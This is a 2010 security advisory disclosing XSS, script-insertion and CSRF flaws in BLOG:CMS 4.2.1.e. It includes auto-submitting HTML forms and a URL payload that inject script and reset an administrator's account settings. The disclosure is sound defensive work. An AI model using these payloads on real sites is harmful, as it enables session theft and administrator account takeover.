Multiple Vulnerabilities in BLOG:CMS
| Advisory ID: | HTB22724 |
| Product: | BLOG:CMS |
| Vendor: | Radek Hulán |
| Vulnerable Versions: | 4.2.1.e and probably prior |
| Tested Version: | 4.2.1.e |
| Advisory Publication: | November 30, 2010 [without technical details] |
| Vendor Notification: | November 30, 2010 |
| Public Disclosure: | December 14, 2010 |
| Latest Update: | December 13, 2010 |
| Vulnerability Type: | Cross-Site Scripting [CWE-79]
Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352] |
| CVE References: | CVE-2010-4749
CVE-2010-4750 |
| Risk Level: | Medium |
|  |
| CVSSv2 Base Scores: | 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
5 (AV:N/AC:L/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P) |
| Solution Status: | Fixed by Vendor |
| Discovered and Provided: | High-Tech Bridge Security Research Lab |
|
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in BLOG:CMS which could be exploited to perform cross-site scripting, script insertion and cross-site request forgery attacks.
1) Cross-site scripting (XSS) vulnerabilities in BLOG:CMS: CVE-2010-4749
1.1 The vulnerability exists due to input sanitation error in the "amount" parameter in admin/index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/admin/index.php" method="post" name="main">
<input type="hidden" name="blogid" value="0">
<input type="hidden" name="itemid" value="0">
<input type="hidden" name="action" value="browseowncomments">
<input type="hidden" name="amount" value='10"><script>alert(document.cookie)</script>'>
<input type="hidden" name="start" value="0">
<input type="hidden" name="search" value="">
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to input sanitation error in the "action" parameter in admin/index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
http://host/admin/index.php?action=settingsedit"><script>alert(document.cook ie)</script>
2) Script insertion vulnerability in BLOG:CMS: CVE-2010-4749
Input passed to the "body" parameter in action.php when posting comments is not properly sanitized. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when user views the malicious data.
3) Cross-site request forgery vulnerabilities in BLOG:CMS: CVE-2010-4750
The vulnerability exists due to insufficient validation of the request origin in admin/libs/admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action="http://host/admin/index.php" method="post" name="main">
<input type="hidden" name="action" value="changemembersettings">
<input type="hidden" name="memberid" value="USER_UD">
<input type="hidden" name="name" value="tester">
<input type="hidden" name="realname" value="tester">
<input type="hidden" name="password" value="">
<input type="hidden" name="repeatpassword" value="">
<input type="hidden" name="email" value="email@example.com">
<input type="hidden" name="url" value="">
<input type="hidden" name="admin" value="1">
<input type="hidden" name="canlogin" value="1">
<input type="hidden" name="notes" value="">
<input type="hidden" name="deflang" value="">
</form>
<script>
document.main.submit();
</script> |
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Solution: |
| Upgrade to the most recent version |
| |
References: |
[1] High-Tech Bridge Advisory HTB22724 - https://www.immuniweb.com/advisory/HTB22724 - Multiple Vulnerabilities in BLOG:CMS
[2] BLOG:CMS - blogcms.com - Blog:CMS (formerly Nucleus XE) is a content management system written in PHP with a MySQL database.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
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